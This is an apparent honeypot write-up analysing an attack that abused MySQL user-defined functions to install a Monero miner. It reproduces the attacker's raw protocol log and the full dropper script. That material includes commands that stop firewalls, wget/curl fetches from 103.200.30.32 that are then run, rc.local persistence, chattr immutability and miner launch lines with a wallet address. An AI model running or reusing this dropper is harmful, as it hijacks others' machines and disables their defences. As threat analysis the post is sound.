Skip to main content

Analysis: Bitcoin miner installed through a MySQL hack

Someone was caught with their hand in the (honey)pot!

If you would pardon the above pun, this write-up looks into a hit I had on one of my honeypots. It might not be anything new to some of you, but I haven’t encountered anything quite like the following method of attack.

I was browsing through the log files of my honeypots, and I came across something interesting, which I have copied below.

stream = [('out', b'4\x00\x00\x00\x0a5.7.16\x00\x00\x00\x12gaaaaaaaa\x00,\xa2!\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00'),
('in', b'&\x00\x00\x01\x85\xa2\x0f\x00\x00\x00\x00\x01\x13\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x00'),
('out', b'\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00'),
('in', b'!\x00\x00\x00\x03select @@version_comment limit 1'),
('out', b'\x01\x00\x00\x01\x01(\x00\x00\x02\x03def\xfb\xfb\xfb\x11@@version_comment\xfb\x0c!\x00K\x00\x00\x00\xfd\x01\x00\x00\x00\x00\xfb\x05\x00\x00\x03\xfe\x00\x00\x02\x00\x1e\x00\x00\x04\x1dMySQL Community Server (GPL)\x00\x05\x00\x00\x05\xfe\x00\x00\x02\x00'),
('in', b'=\x00\x00\x00\x03CREATE FUNCTION sys_eval RETURNS string SONAME \x27mysqludf.so\x27'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'?\x00\x00\x00\x03CREATE FUNCTION sys_eval RETURNS string SONAME \x27mysqludf64.so\x27'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'A\x00\x00\x00\x03CREATE FUNCTION sys_eval RETURNS string SONAME \x27lib_mysqludf.so\x27'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'8\x00\x00\x00\x03CREATE FUNCTION sys_eval RETURNS string SONAME \x27udf.so\x27'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'=\x00\x00\x00\x03CREATE FUNCTION sys_eval RETURNS string SONAME \x27xiaoji64.so\x27'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b';\x00\x00\x00\x03CREATE FUNCTION sys_eval RETURNS string SONAME \x27xiaoji.so\x27'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'<\x00\x00\x00\x03CREATE FUNCTION sys_eval RETURNS string SONAME \x27liunx32.so\x27'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'<\x00\x00\x00\x03CREATE FUNCTION sys_eval RETURNS string SONAME \x27liunx64.so\x27'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'E\x00\x00\x00\x03create function sys_eval returns string soname "lib_mysqludf_sys.so"'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'J\x00\x00\x00\x03CREATE FUNCTION mylab_sys_exec RETURNS INTEGER SONAME "mylab_sys_exec.so"'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'*\x00\x00\x00\x03system wget http://103.200.30.32:81/mywin'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'\x16\x00\x00\x00\x03system chmod +x mywin'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'&\x00\x00\x00\x03system chmod 777 mywin\x0asystem ./mywin'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'\xaa\x00\x00\x00\x03select sys_eval("/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://103.200.30.32:81/mywin;chmod 777 mywin;./mywin;")'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'0\x00\x00\x00\x03SELECT mylab_sys_exec(/etc/init.d/iptables stop'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'\x16\x00\x00\x00\x03service iptables stop'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'\x13\x00\x00\x00\x03SuSEfirewall2 stop'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'\x15\x00\x00\x00\x03reSuSEfirewall2 stop'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'&\x00\x00\x00\x03wget -c http://103.200.30.32:81/mywin'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'\x10\x00\x00\x00\x03chmod 777 mywin'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'\x08\x00\x00\x00\x03./mywin'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'\xb9\x00\x00\x00\x03");\x0aDrop FUNCTION IF EXISTS lib_mysqludf_sys_info;\x0aDrop FUNCTION IF EXISTS sys_get;\x0aDrop FUNCTION IF EXISTS sys_set;\x0aDrop FUNCTION IF EXISTS sys_exec;\x0aDrop FUNCTION IF EXISTS sys_eval;'),
('out', b'\x13\x00\x00\x01\xff\x00\x00# Learn SQL!'),
('in', b'\x01\x00\x00\x00\x01')]

If you battle to read through all the null chars and alike – you can just escape the chars and be left with the ANSI
The initial few lines of the log file just look like someone probing the server. However, things then get interesting!

I’m only going to analyse the following two extracts out of the log file, because I’m not quite sure myself how the preceding CREATE FUNCTION sys_eval functions in this context.

system wget http://103.200.30.32:81/mywin
system chmod +x mywin
system chmod 777 mywin
system ./mywin

&

sys_eval("/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://103.200.30.32:81/mywin;chmod 777 mywin;./mywin;")

So the hacker initially attempts to execute a bunch of bash functions using system and sys_eval; said batch functions in the first case are to:
1. Download a bash script
2. Change permissions
3. Execute the script

and the second case:
1. Disable the system firewall by calling a few known firewall daemon stop commands
2. Download a bash script
3. Change Permissions
4. Execute the script

Let’s investigate the script!

#!/bin/bash
chmod 777 xiao
chattr 777 haha
/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop
echo 'nameserver 8.8.8.8'> /etc/resolv.conf
grep "nohup ./haha >/dev/null 2>&1 &" /etc/rc.d/rc.local >/dev/null
if [ $? -eq 0 ]; then
chmod 777 xiao
sleep 1
chattr +i haha
else
echo "nohup ./haha >/dev/null 2>&1 &" >> /etc/rc.d/rc.local
chmod +x /etc/rc.d/rc.local
chmod +x haha
chmod 777 xiao
chattr +i haha
fi
while true
do
    ps aux | grep xiao | grep -v grep
    if [ $? -eq 0 ];then
         sleep 10
         chmod 777 xiao
         chattr +i xiao
            nohup rm -rf index.html >/dev/null 2>&1 &
         rm -rf nohup.out
    else
        if [ -f xiao ];then
        chmod 777 xiao
        chattr +i xiao
         nohup ./xiao -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 483GSEE5D9W7HvBWKATRQY2d7sQDZVuHXJTpEA3aJudA6HrBMcwzrpmSYNbXBEseby7foyE2zWnjcXcxeFURm9vcLEmAEsX -p x >/dev/null 2>&1 &
        else
 wget http://103.200.30.32:81/xiao ; chmod a+x xiao;chattr +i xiao;nohup ./xiao -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 483GSEE5D9W7HvBWKATRQY2d7sQDZVuHXJTpEA3aJudA6HrBMcwzrpmSYNbXBEseby7foyE2zWnjcXcxeFURm9vcLEmAEsX -p x >/dev/null 2>&1 &
            if [ -f xiao ];then
        chmod 777 xiao
        chattr +i xiao
         nohup ./xiao -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 483GSEE5D9W7HvBWKATRQY2d7sQDZVuHXJTpEA3aJudA6HrBMcwzrpmSYNbXBEseby7foyE2zWnjcXcxeFURm9vcLEmAEsX -p x >/dev/null 2>&1 &
        else
             curl -O http://103.200.30.32:81/xiao ; chmod a+x xiao;chattr +i xiao;nohup ./xiao -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 483GSEE5D9W7HvBWKATRQY2d7sQDZVuHXJTpEA3aJudA6HrBMcwzrpmSYNbXBEseby7foyE2zWnjcXcxeFURm9vcLEmAEsX -p x >/dev/null 2>&1 &
         rm -rf nohup.out
fi
   fi
       fi
done

The first thing I notice with the script is how terribly it has been formatted… After getting past the initial annoyance, I see the hallmarks of a bitcoin miner: stratum+tcp://xmr.crypto-pool.fr.

I’m just going to skip over most of the script, since it doesn’t make much sense to me the way it was coded, and grab this file wget http://103.200.30.32:81/xiao to make sure that it is the final step of installing the bitcoin miner and that xiao is not a function proxy or similar.
So I fire up IDA and explore the strings since it is highly unlikely the binary is packed/protected.

.rodata:000000000045BC00 aCpuminer2_3_3B db 'cpuminer 2.3.3',0Ah ; DATA XREF: parse_arg_lto_priv_40+F7o
.rodata:000000000045BC00 db ' built on Apr 15 2017',0Ah
.rodata:000000000045BC00 db ' features: x86_64 SSE2 AVX XOP',0

I came across this gem while going through the list of strings. So xiao is an older version of https://github.com/pooler/cpuminer, compiled for 64-bit CPUs.

In conclusion, the hacker attempted to use a vulnerability in MySQL to download and execute a batch script which would further download and install a bitcoin miner on Unix 64-bit machines.

References

Virus Total

mywin - https://www.virustotal.com/en/file/a1c80e9d25a012db4caffd9f5db6964aab37ce5da6a2c32c55e3dc8422345750/analysis/
xiao - https://www.virustotal.com/en/file/874fcaf532297c2cbfec631c723b19f16946902213aef482001507a423adb87c/analysis/

Tools

  1. Dionaea Honeypot
  2. Sublime Text <3
  3. Hex-Rays IDA